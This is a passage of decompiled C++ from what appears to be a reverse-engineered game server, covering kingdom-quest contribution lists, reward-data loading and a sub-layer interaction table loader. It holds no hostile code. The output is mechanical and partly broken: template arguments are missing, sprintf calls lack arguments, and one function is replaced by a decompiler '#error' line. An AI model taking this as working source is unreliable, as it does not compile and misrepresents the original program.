*)v2 + 2) - v7) >> 3; else v8 = 0; if ( v5 <= (unsigned int)v8 ) { std::copy( v3, *(KQContribute::PlayerContribute **)(__formal + 8), *((KQContribute::PlayerContribute **)v2 + 1)); v9 = *(_DWORD *)(__formal + 4); if ( v9 ) { *((_DWORD *)v2 + 2) = *((_DWORD *)v2 + 1) + 8 * ((*(_DWORD *)(__formal + 8) - v9) >> 3); result = v2; } else { *((_DWORD *)v2 + 2) = *((_DWORD *)v2 + 1); result = v2; } return result; } if ( v7 ) v10 = (*((_DWORD *)v2 + 3) - v7) >> 3; else v10 = 0; if ( v5 > (unsigned int)v10 ) { if ( v7 ) operator delete(*((void **)v2 + 1)); v13 = *(_DWORD *)(__formal + 4); if ( v13 ) v14 = (*(_DWORD *)(__formal + 8) - v13) >> 3; else v14 = 0; if ( std::vector>::_Buy( (std::vector > *)v2, v14) ) *((_DWORD *)v2 + 2) = std::vector>::_Ucopy( (std::allocator *)v2, *(std::vector >::iterator *)(__formal + 4), *(std::vector >::iterator *)(__formal + 8), *((SHINE_XY_TYPE **)v2 + 1)); return v2; } if ( v7 ) v11 = (*((_DWORD *)v2 + 2) - v7) >> 3; else v11 = 0; v12 = *(_DWORD *)(__formal + 4) + 8 * v11; std::copy( *(KQContribute::PlayerContribute **)(__formal + 4), (KQContribute::PlayerContribute *)v12, *((KQContribute::PlayerContribute **)v2 + 1)); *((_DWORD *)v2 + 2) = std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( (std::vector >::iterator)v12, *(std::vector >::iterator *)(__formal + 8), *((SHINE_XY_TYPE **)v2 + 2), (std::allocator *)v2, (std::_Nonscalar_ptr_iterator_tag)__formal); return v2; } //----- (004714E0) -------------------------------------------------------- void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, KQContribute::PlayerContribute _Val) { KQContribute::PlayerContribute *v3; // edx@1 signed int v4; // eax@2 signed int v5; // eax@6 v3 = this->_Myfirst; if ( v3 ) v4 = this->_Mylast - v3; else v4 = 0; if ( v4 >= _Newsize ) { if ( v3 && _Newsize < this->_Mylast - v3 ) std::vector>::erase( (std::vector > *)this, (std::vector >::iterator *)&_Newsize, (std::vector >::iterator)&v3[_Newsize], (std::vector >::iterator)this->_Mylast); } else { if ( v3 ) v5 = this->_Mylast - v3; else v5 = 0; std::vector>::_Insert_n( this, (std::vector >::iterator)this->_Mylast, _Newsize - v5, &_Val); } } //----- (00471550) -------------------------------------------------------- std::vector >::iterator *__cdecl std::remove_copy>::iterator_std::vector>::iterator_KQContribute::PlayerList>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, std::vector >::iterator _Dest, KQContribute::PlayerList *_Val) { std::vector >::iterator v5; // esi@1 std::vector >::iterator v6; // edi@2 void *v7; // ecx@4 std::vector >::iterator *v8; // eax@6 v5 = _First; if ( _First == _Last ) { v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _Dest; } else { v6 = _Dest; do { if ( **(_DWORD **)&v5 != _Val->pl_KQHandle ) { **(_DWORD **)&v6 = **(_DWORD **)&v5; v7 = (void *)(*(_DWORD *)&v6 + 4); *(_DWORD *)&v6 += 20; std::vector>::operator_( v7, *(_DWORD *)&v5 + 4); } *(_DWORD *)&v5 += 20; } while ( v5 != _Last ); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6; } return v8; } //----- (004715B0) -------------------------------------------------------- KQContribute::PlayerList *__cdecl std::_Copy_opt(KQContribute::PlayerList *_First, KQContribute::PlayerList *_Last, KQContribute::PlayerList *_Dest, std::_Nonscalar_ptr_iterator_tag __formal) { KQContribute::PlayerList *v4; // esi@1 KQContribute::PlayerList *v5; // edi@2 KQContribute::PlayerList *result; // eax@4 v4 = _First; if ( _First == _Last ) { result = _Dest; } else { v5 = _Dest; do { v5->pl_KQHandle = v4->pl_KQHandle; std::vector>::operator_( &v5->pl_PlayerList, (int)&v4->pl_PlayerList); ++v4; ++v5; } while ( v4 != _Last ); result = v5; } return result; } //----- (004715F0) -------------------------------------------------------- KQContribute::PlayerList *__cdecl std::_Copy_backward_opt(KQContribute::PlayerList *_First, KQContribute::PlayerList *_Last, KQContribute::PlayerList *_Dest, std::_Nonscalar_ptr_iterator_tag __formal) { KQContribute::PlayerList *v4; // esi@1 KQContribute::PlayerList *v5; // edi@2 unsigned int v6; // eax@3 KQContribute::PlayerList *result; // eax@4 v4 = _Last; if ( _First == _Last ) { result = _Dest; } else { v5 = _Dest; do { v6 = v4[-1].pl_KQHandle; --v4; --v5; v5->pl_KQHandle = v6; std::vector>::operator_( &v5->pl_PlayerList, (int)&v4->pl_PlayerList); } while ( v4 != _First ); result = v5; } return result; } //----- (00471630) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, KQContribute::PlayerContribute *_Val) { std::vector > *v2; // esi@1 KQContribute::PlayerContribute *v3; // edx@1 signed int v4; // ecx@2 KQContribute::PlayerContribute *v5; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) v4 = this->_Mylast - v3; else v4 = 0; if ( v3 && v4 < v2->_Myend - v3 ) { v5 = v2->_Mylast; std::_Uninit_fill_n>( (SHINE_XY_TYPE *)v2->_Mylast, 1u, (SHINE_XY_TYPE *)_Val, (std::allocator *)v2, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v5 + 1; } else { std::vector>::_Insert_n( v2, (std::vector >::iterator)v2->_Mylast, 1u, _Val); } } //----- (004716A0) -------------------------------------------------------- std::vector >::iterator *__cdecl std::remove>::iterator_KQContribute::PlayerList>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, KQContribute::PlayerList *_Val) { std::vector >::iterator v4; // ecx@1 std::vector >::iterator *v5; // eax@4 v4 = _First; if ( _First == _Last ) goto LABEL_10; while ( **(_DWORD **)&v4 != _Val->pl_KQHandle ) { *(_DWORD *)&v4 += 20; if ( v4 == _Last ) { v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v4; return v5; } } if ( v4 != _Last ) { std::remove_copy>::iterator_std::vector>::iterator_KQContribute::PlayerList>( result, (std::vector >::iterator)(*(_DWORD *)&v4 + 20), _Last, v4, _Val); v5 = result; } else { LABEL_10: v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v4; } return v5; } //----- (004716F0) -------------------------------------------------------- void __cdecl std::fill(KQContribute::PlayerList *_First, KQContribute::PlayerList *_Last, KQContribute::PlayerList *_Val) { KQContribute::PlayerList *i; // esi@1 for ( i = _First; i != _Last; ++i ) { i->pl_KQHandle = _Val->pl_KQHandle; std::vector>::operator_( &i->pl_PlayerList, (int)&_Val->pl_PlayerList); } } //----- (00471720) -------------------------------------------------------- KQContribute::PlayerList *__cdecl std::_Uninit_copy>::iterator_KQContribute::PlayerList___std::allocator>(KQContribute::PlayerList *_First, KQContribute::PlayerList *_Last, KQContribute::PlayerList *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { KQContribute::PlayerList *v5; // esi@1 KQContribute::PlayerList *v6; // edi@1 int v8; // [sp-Ch] [bp-20h]@1 KQContribute::PlayerList *_Next; // [sp+0h] [bp-14h]@1 int *v10; // [sp+4h] [bp-10h]@1 int v11; // [sp+10h] [bp-4h]@1 v5 = _Dest; v6 = _First; v10 = &v8; _Next = _Dest; v11 = 0; while ( v6 != _Last ) { LOBYTE(v11) = 1; if ( v5 ) { v5->pl_KQHandle = v6->pl_KQHandle; std::vector>::vector>( &v5->pl_PlayerList, &v6->pl_PlayerList); } ++v5; LOBYTE(v11) = 0; ++v6; } return v5; } //----- (004717D0) -------------------------------------------------------- #error "4717D0: undefined or illegal type '#325' (funcsize=100)" //----- (00471930) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n>(KQContribute::PlayerList *_First, unsigned int _Count, KQContribute::PlayerList *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { KQContribute::PlayerList *v5; // esi@1 unsigned int v6; // edi@1 int v7; // [sp-Ch] [bp-20h]@1 KQContribute::PlayerList *_Next; // [sp+0h] [bp-14h]@1 int *v9; // [sp+4h] [bp-10h]@1 int v10; // [sp+10h] [bp-4h]@1 v5 = _First; v6 = _Count; v9 = &v7; _Next = _First; v10 = 0; while ( v6 > 0 ) { LOBYTE(v10) = 1; if ( v5 ) { v5->pl_KQHandle = _Val->pl_KQHandle; std::vector>::vector>( &v5->pl_PlayerList, &_Val->pl_PlayerList); } --v6; ++v5; LOBYTE(v10) = 0; } } //----- (004719E0) -------------------------------------------------------- KQContribute::PlayerList *__thiscall std::vector>::_Ufill(std::vector > *this, KQContribute::PlayerList *_Ptr, unsigned int _Count, KQContribute::PlayerList *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (00471A10) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, KQContribute::PlayerList *_Val) { std::vector > *v4; // esi@1 unsigned int v5; // ecx@1 KQContribute::PlayerList *v6; // ebx@1 unsigned int v7; // ecx@1 signed int v8; // edx@2 unsigned int v9; // edi@3 int v10; // eax@5 int v11; // eax@10 int v12; // ecx@14 int v13; // eax@17 void *v14; // eax@21 void *v15; // ebx@21 KQContribute::PlayerList *v16; // ST18_4@21 int v17; // eax@21 int v18; // edi@23 KQContribute::PlayerList *v19; // eax@23 KQContribute::PlayerList *v20; // ecx@26 std::vector >::iterator v21; // ebx@26 KQContribute::PlayerList *v22; // ecx@27 KQContribute::PlayerList *v23; // ST24_4@27 unsigned int v24; // edi@27 int v25; // [sp-Ch] [bp-38h]@1 KQContribute::PlayerList _Tmp; // [sp+0h] [bp-2Ch]@1 void *_Newvec; // [sp+14h] [bp-18h]@21 std::vector > *thisa; // [sp+18h] [bp-14h]@1 int *v29; // [sp+1Ch] [bp-10h]@1 int v30; // [sp+28h] [bp-4h]@1 KQContribute::PlayerList *_Wherea; // [sp+34h] [bp+8h]@28 KQContribute::PlayerList *_Ptr; // [sp+38h] [bp+Ch]@21 int _Vala; // [sp+3Ch] [bp+10h]@21 KQContribute::PlayerList *_Valb; // [sp+3Ch] [bp+10h]@26 v4 = this; v5 = _Val->pl_KQHandle; v29 = &v25; _Tmp.pl_KQHandle = v5; thisa = v4; std::vector>::vector>( &_Tmp.pl_PlayerList, &_Val->pl_PlayerList); v6 = v4->_Myfirst; v7 = 0; v30 = 0; if ( v6 ) { v8 = (signed int)((unsigned __int64)(1717986919i64 * (unsigned int)((char *)v4->_Myend - (char *)v6)) >> 32) >> 3; v7 = v8 + ((unsigned int)v8 >> 31); } v9 = _Count; if ( _Count ) { if ( v6 ) v10 = v4->_Mylast - v6; else v10 = 0; if ( 214748364 - v10 < _Count ) std::vector>::_Xlen((std::vector > *)v4); if ( v6 ) v11 = v4->_Mylast - v6; else v11 = 0; if ( v7 >= _Count + v11 ) { v20 = v4->_Mylast; v21 = _Where; _Valb = v4->_Mylast; if ( (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 20 >= _Count ) { _Wherea = &v20[-_Count]; v4->_Mylast = std::_Uninit_copy>::iterator_KQContribute::PlayerList___std::allocator>( &v20[-_Count], v20, v20, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)((_BYTE)v20 - 20 * _Count)); std::_Copy_backward_opt( *(KQContribute::PlayerList **)&v21, _Wherea, _Valb, (std::_Nonscalar_ptr_iterator_tag)_Wherea); std::fill( *(KQContribute::PlayerList **)&v21, (KQContribute::PlayerList *)(*(_DWORD *)&v21 + 20 * _Count), &_Tmp); } else { std::_Uninit_copy>::iterator_KQContribute::PlayerList___std::allocator>( *(KQContribute::PlayerList **)&_Where, v20, (KQContribute::PlayerList *)(*(_DWORD *)&_Where + 20 * _Count), &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v22 = v4->_Mylast; v23 = v4->_Mylast; LOBYTE(v30) = 3; std::vector>::_Ufill( v4, v23, _Count - (signed int)((char *)v22 - *(_DWORD *)&_Where) / 20, &_Tmp); v24 = (unsigned int)&v4->_Mylast[_Count]; v4->_Mylast = (KQContribute::PlayerList *)v24; v30 = 0; std::fill( *(KQContribute::PlayerList **)&_Where, (KQContribute::PlayerList *)(v24 - 20 * _Count), &_Tmp); } } else { if ( 214748364 - (v7 >> 1) >= v7 ) v12 = (v7 >> 1) + v7; else v12 = 0; if ( v6 ) v13 = v4->_Mylast - v6; else v13 = 0; if ( v12 < _Count + v13 ) v12 = _Count + std::vector>::size((std::vector > *)v4); _Vala = 20 * v12; v14 = operator new(20 * v12); v15 = v14; v16 = v4->_Myfirst; _Newvec = v14; LOBYTE(v30) = 1; _Ptr = std::_Uninit_copy>::iterator_KQContribute::PlayerList___std::allocator>( v16, *(KQContribute::PlayerList **)&_Where, (KQContribute::PlayerList *)v14, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Ptr, v9, &_Tmp, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>::iterator_KQContribute::PlayerList___std::allocator>( *(KQContribute::PlayerList **)&_Where, v4->_Mylast, &_Ptr[v9], &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v17 = (int)v4->_Myfirst; if ( v17 ) v17 = (signed int)((char *)v4->_Mylast - v17) / 20; v18 = v17 + v9; v19 = v4->_Myfirst; if ( v19 ) { std::vector>::_Destroy( v4, v19, v4->_Mylast); operator delete(v4->_Myfirst); } v4->_Myend = (KQContribute::PlayerList *)((char *)v15 + _Vala); v4->_Mylast = (KQContribute::PlayerList *)((char *)v15 + 20 * v18); v4->_Myfirst = (KQContribute::PlayerList *)v15; } } if ( _Tmp.pl_PlayerList._Myfirst ) operator delete(_Tmp.pl_PlayerList._Myfirst); } //----- (00471D10) -------------------------------------------------------- void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count) { std::vector > *v2; // esi@1 KQContribute::PlayerList *v3; // eax@3 unsigned int v4; // ebx@6 KQContribute::PlayerList *v5; // ST04_4@6 KQContribute::PlayerList *v6; // ST00_4@6 KQContribute::PlayerList *v7; // ecx@6 int v8; // edi@7 signed int v9; // edx@8 int v10; // [sp-Ch] [bp-1Ch]@1 int *v11; // [sp+0h] [bp-10h]@1 int v12; // [sp+Ch] [bp-4h]@6 void *_Ptr; // [sp+18h] [bp+8h]@6 v11 = &v10; v2 = this; if ( _Count > 0xCCCCCCC ) std::vector>::_Xlen((std::vector > *)this); v3 = this->_Myfirst; if ( v3 ) v3 = (KQContribute::PlayerList *)(this->_Myend - v3); if ( (unsigned int)v3 < _Count ) { v4 = 20 * _Count; _Ptr = operator new(20 * _Count); v5 = v2->_Mylast; v6 = v2->_Myfirst; v12 = 0; std::_Uninit_copy>::iterator_KQContribute::PlayerList___std::allocator>( v6, v5, (KQContribute::PlayerList *)_Ptr, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Ptr); v7 = v2->_Myfirst; if ( v7 ) { v9 = (signed int)((unsigned __int64)(1717986919i64 * (unsigned int)((char *)v2->_Mylast - (char *)v7)) >> 32) >> 3; v8 = v9 + ((unsigned int)v9 >> 31); } else { v8 = 0; } if ( v7 ) { std::vector>::_Destroy( v2, v7, v2->_Mylast); operator delete(v2->_Myfirst); } v2->_Myend = (KQContribute::PlayerList *)((char *)_Ptr + v4); v2->_Mylast = (KQContribute::PlayerList *)((char *)_Ptr + 20 * v8); v2->_Myfirst = (KQContribute::PlayerList *)_Ptr; } } //----- (00471E10) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::erase(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last) { std::vector > *v4; // ebp@1 std::vector >::iterator v5; // ecx@1 KQContribute::PlayerList *v6; // eax@2 KQContribute::PlayerList *v7; // ebx@2 KQContribute::PlayerList *v8; // edi@2 KQContribute::PlayerList *i; // esi@2 std::vector >::iterator *v10; // eax@5 v4 = this; v5 = _First; if ( _First != _Last ) { v6 = std::_Copy_opt( *(KQContribute::PlayerList **)&_Last, v4->_Mylast, *(KQContribute::PlayerList **)&_First, (std::_Nonscalar_ptr_iterator_tag)_First.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v7 = v4->_Mylast; v8 = v6; for ( i = v6; i != v7; ++i ) FamilyMobManagement::FamilyMob::_FamilyMob(i); v5 = _First; v4->_Mylast = v8; } v10 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v5; return v10; } //----- (00471E70) -------------------------------------------------------- void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, KQContribute::PlayerList _Val) { KQContribute::PlayerList *v3; // esi@1 int v4; // eax@2 int v5; // eax@6 v3 = this->_Myfirst; if ( v3 ) v4 = this->_Mylast - v3; else v4 = 0; if ( v4 >= _Newsize ) { if ( v3 && _Newsize < this->_Mylast - v3 ) std::vector>::erase( this, (std::vector >::iterator *)&_Newsize, (std::vector >::iterator)&v3[_Newsize], (std::vector >::iterator)this->_Mylast); } else { if ( v3 ) v5 = this->_Mylast - v3; else v5 = 0; std::vector>::_Insert_n( this, (std::vector >::iterator)this->_Mylast, _Newsize - v5, &_Val); } if ( _Val.pl_PlayerList._Myfirst ) operator delete(_Val.pl_PlayerList._Myfirst); } //----- (00471F50) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, KQContribute::PlayerList *_Val) { std::vector > *v4; // edi@1 KQContribute::PlayerList *v5; // esi@1 int v6; // esi@3 signed int v7; // edx@4 std::vector >::iterator *v8; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && this->_Mylast - v5 ) { v7 = (signed int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)&_Where - (signed int)v5)) >> 32) >> 3; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } std::vector>::_Insert_n(this, _Where, 1u, _Val); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v4->_Myfirst[v6]; return v8; } //----- (00471FD0) -------------------------------------------------------- void __thiscall KQContribute::KQContributeList::kqpl_EndOfKQ(KQContribute::KQContributeList *this, unsigned int kqhnd) { KQContribute::KQContributeList *v2; // esi@1 std::vector >::iterator v3; // edi@1 std::vector >::iterator v4; // eax@1 std::vector >::iterator v5; // ST08_4@1 std::vector >::iterator *v6; // eax@1 std::vector >::iterator result; // [sp+4h] [bp-24h]@1 KQContribute::PlayerList tmp; // [sp+8h] [bp-20h]@1 int v9; // [sp+24h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "KQContribute::KQContributeList::kqpl_EndOfKQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "KQContribute::KQContributeList::kqpl_EndOfKQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v9 = 0; tmp.pl_PlayerList._Myfirst = 0; tmp.pl_PlayerList._Mylast = 0; tmp.pl_PlayerList._Myend = 0; v3 = (std::vector >::iterator)v2->kqcl_List._Mylast; v4 = (std::vector >::iterator)v2->kqcl_List._Myfirst; v5 = (std::vector >::iterator)v2->kqcl_List._Mylast; tmp.pl_KQHandle = kqhnd; LOBYTE(v9) = 1; v6 = std::remove>::iterator_KQContribute::PlayerList>( (std::vector >::iterator *)&kqhnd, v4, v5, &tmp); std::vector>::erase( &v2->kqcl_List, &result, *v6, v3); --funcallanalizer.fca_stackpoint; v9 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "KQContribute::KQContributeList::kqpl_EndOfKQ"); } //----- (004720B0) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, KQContribute::PlayerList *_Val) { std::vector > *v2; // esi@1 KQContribute::PlayerList *v3; // edi@1 int v4; // ecx@2 signed int v5; // edx@3 KQContribute::PlayerList *v6; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) { v5 = (signed int)((unsigned __int64)(1717986919i64 * (unsigned int)((char *)this->_Mylast - (char *)v3)) >> 32) >> 3; v4 = v5 + ((unsigned int)v5 >> 31); } else { v4 = 0; } if ( v3 && v4 < v2->_Myend - v3 ) { v6 = v2->_Mylast; std::_Uninit_fill_n>( v2->_Mylast, 1u, _Val, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v6 + 1; } else { std::vector>::insert( v2, (std::vector >::iterator *)&_Val, (std::vector >::iterator)v2->_Mylast, _Val); } } //----- (00472140) -------------------------------------------------------- void __thiscall KQContribute::KQContributeList::KQContributeList(KQContribute::KQContributeList *this) { std::vector > *v1; // esi@1 KQContribute::PlayerList v2; // [sp-14h] [bp-30h]@1 int v3; // [sp-Ch] [bp-28h]@1 int v4; // [sp-8h] [bp-24h]@1 int v5; // [sp-4h] [bp-20h]@1 KQContribute::KQContributeList *v6; // [sp+8h] [bp-14h]@1 KQContribute::PlayerList *v7; // [sp+Ch] [bp-10h]@1 int v8; // [sp+18h] [bp-4h]@1 v1 = (std::vector > *)this; v6 = this; this->kqcl_List._Myfirst = 0; this->kqcl_List._Mylast = 0; this->kqcl_List._Myend = 0; v8 = 0; std::vector>::reserve(&this->kqcl_List, 0x1Eu); v7 = &v2; v3 = 0; v4 = 0; v5 = 0; std::vector>::resize(v1, 0, v2); } //----- (004721B0) -------------------------------------------------------- void __thiscall KQContribute::KQContributeList::kqcl_NewKQ(KQContribute::KQContributeList *this, unsigned int kqhnd) { KQContribute::KQContributeList *v2; // edi@1 KQContribute::PlayerList *v3; // esi@1 KQContribute::PlayerList tmp; // [sp+4h] [bp-20h]@3 int v5; // [sp+20h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "KQContribute::KQContributeList::kqcl_NewKQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "KQContribute::KQContributeList::kqcl_NewKQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = 0; v3 = KQContribute::KQContributeList::kqcl_FindKQ(v2, kqhnd); if ( v3 ) { std::vector>::resize( &v3->pl_PlayerList, 0, 0i64); v3->pl_KQHandle = kqhnd; } else { tmp.pl_PlayerList._Myfirst = 0; tmp.pl_PlayerList._Mylast = 0; tmp.pl_PlayerList._Myend = 0; LOBYTE(v5) = 1; std::vector>::resize( &tmp.pl_PlayerList, 0, 0i64); tmp.pl_KQHandle = kqhnd; std::vector>::push_back(&v2->kqcl_List, &tmp); if ( tmp.pl_PlayerList._Myfirst ) operator delete(tmp.pl_PlayerList._Myfirst); } --funcallanalizer.fca_stackpoint; v5 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "KQContribute::KQContributeList::kqcl_NewKQ"); } //----- (004722A0) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x2F84u, 0x60u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (00472350) -------------------------------------------------------- void __thiscall KQRewardDataBox::KQRewardDataBox(KQRewardDataBox *this) { KQRewardDataBox *v1; // esi@1 v1 = this; CCharacterTitleData::CCharacterTitleData(&this->kqrdb_DataBox.baseclass_0); memset(&v1->kqrdb_DataBox.bdb_defaultblock, 0, sizeof(v1->kqrdb_DataBox.bdb_defaultblock)); } //----- (00472370) -------------------------------------------------------- void __thiscall KQRewardDataBox::kqrdb_Load(KQRewardDataBox *this, Name4 *world) { BinaryDataBox::bdb_ReadData(&this->kqrdb_DataBox, "../9Data/Shine/KingdomQuestRew.shn"); } //----- (00472380) -------------------------------------------------------- KINGDOM_QUEST_REW *__thiscall KQRewardDataBox::operator__(KQRewardDataBox *this, unsigned __int16 idx) { KQRewardDataBox *v2; // edi@1 unsigned int v3; // eax@1 unsigned int v4; // esi@1 bool v5; // cf@2 KINGDOM_QUEST_REW *result; // eax@4 signed int v7; // eax@8 v2 = this; v3 = this->kqrdb_DataBox.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v4 = 0; if ( (signed int)v3 > 0 ) { v5 = v3 > 0; do { if ( v5 ) result = (KINGDOM_QUEST_REW *)CDataReader::GetRecord(&v2->kqrdb_DataBox.baseclass_0.baseclass_0, v4); else result = &v2->kqrdb_DataBox.bdb_defaultblock; if ( !result ) break; if ( idx == result->ID ) return result; v7 = v2->kqrdb_DataBox.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; ++v4; v5 = v4 < v7; } while ( (signed int)v4 < v7 ); } return 0; } //----- (004723D0) -------------------------------------------------------- KINGDOM_QUEST_REW *__thiscall KQRewardDataBox::operator__(KQRewardDataBox *this, char *idx) { KQRewardDataBox *v2; // edi@1 unsigned int v3; // eax@1 unsigned int v4; // esi@1 bool v5; // cf@2 KINGDOM_QUEST_REW *result; // eax@4 unsigned int v7; // ecx@7 signed int v8; // eax@11 v2 = this; v3 = this->kqrdb_DataBox.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v4 = 0; if ( (signed int)v3 > 0 ) { v5 = v3 > 0; do { if ( v5 ) result = (KINGDOM_QUEST_REW *)CDataReader::GetRecord(&v2->kqrdb_DataBox.baseclass_0.baseclass_0, v4); else result = &v2->kqrdb_DataBox.bdb_defaultblock; if ( !result ) break; v7 = 0; do { if ( result->IndexString[v7] != idx[v7] ) break; if ( !result->IndexString[v7] ) return result; ++v7; } while ( v7 < 0x20 ); v8 = v2->kqrdb_DataBox.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; ++v4; v5 = v4 < v8; } while ( (signed int)v4 < v8 ); } return 0; } //----- (00472440) -------------------------------------------------------- void __thiscall SubLayer::SubLayerInteractLoader::slil_Load(SubLayer::SubLayerInteractLoader *this, Name4 *world) { int v2; // edx@1 int v3; // ecx@1 int v4; // edx@1 int v5; // eax@2 int v6; // ebp@5 signed int v7; // esi@5 void *v8; // eax@7 void *v9; // edi@7 void *v10; // ebp@7 int v11; // edx@11 ORToken v12; // [sp-2Ah] [bp-10938h]@7 int v13; // [sp-26h] [bp-10934h]@7 int v14; // [sp-22h] [bp-10930h]@7 int v15; // [sp-1Eh] [bp-1092Ch]@7 int v16; // [sp-1Ah] [bp-10928h]@7 int v17; // [sp-16h] [bp-10924h]@7 char rst; // [sp+1h] [bp-1090Dh]@2 int me; // [sp+2h] [bp-1090Ch]@5 ORToken *v20; // [sp+6h] [bp-10908h]@7 char buf[32]; // [sp+Ah] [bp-10904h]@1 char path[128]; // [sp+2Ah] [bp-108E4h]@1 OptionReader or; // [sp+AAh] [bp-10864h]@1 unsigned int cookie; // [sp+108FEh] [bp-10h]@12 int v25; // [sp+1090Ah] [bp-4h]@1 OptionReader::OptionReader(&or); v2 = *(_DWORD *)&world->n4_name[4]; *(_DWORD *)buf = *(_DWORD *)&world->n4_name[0]; v3 = *(_DWORD *)&world->n4_name[8]; *(_DWORD *)&buf[4] = v2; v4 = *(_DWORD *)&world->n4_name[12]; *(_DWORD *)&buf[8] = v3; v25 = 0; *(_DWORD *)&buf[12] = v4; buf[16] = 0; sprintf(path, "../9Data/Shine/World/%s/SubLayerInteractLoader.txt"); if ( !OptionReader::or_Read(&or, path) ) { sprintf(path, "../9Data/Shine/World/SubLayerInteract.txt"); rst = OptionReader::or_Read(&or, path); v5 = OptionReader::or_ErrorLine(&or); if ( !rst ) { AssertClass::ac_AssertFail(&shineassert, "SubLayerInteractLoader::slil_Load : Error in SubLayer Table", v5); ShineExit("SubLayer::SubLayerInteractLoader::slil_Load"); } } v6 = 0; me = 0; v7 = 0; while ( 1 ) { v17 = v6; v20 = &v12; v16 = 0; v15 = 0; v14 = 0; v13 = 0; *(_DWORD *)&v12.ort_Name[0] = 0; strncpy(v12.ort_Name, "SendMyBrief", 0x14u); v8 = OptionReader::or_SelectFromOrder(&or, v12, v17); v17 = v6; v9 = v8; v20 = &v12; v16 = 0; v15 = 0; v14 = 0; v13 = 0; *(_DWORD *)&v12.ort_Name[0] = 0; strncpy(v12.ort_Name, "CanAttack", 0x14u); v10 = OptionReader::or_SelectFromOrder(&or, v12, v17); if ( *(_BYTE *)v9 != *((_BYTE *)v9 + 27) || *(_BYTE *)v10 != *((_BYTE *)v10 + 27) ) { AssertClass::ac_AssertFail(&shineassert, "9Data/Shine/World/SubLayerInteractLoader.txt struct mismatch", 0); ShineExit("SubLayer::SubLayerInteractLoader::slil_Load"); } sublayerview[v7] = *((_BYTE *)v9 + 21); sublayerattack[v7] = *((_BYTE *)v10 + 21); byte_CAC5905[v7] = *((_BYTE *)v9 + 22); byte_CAC592D[v7] = *((_BYTE *)v10 + 22); byte_CAC5906[v7] = *((_BYTE *)v9 + 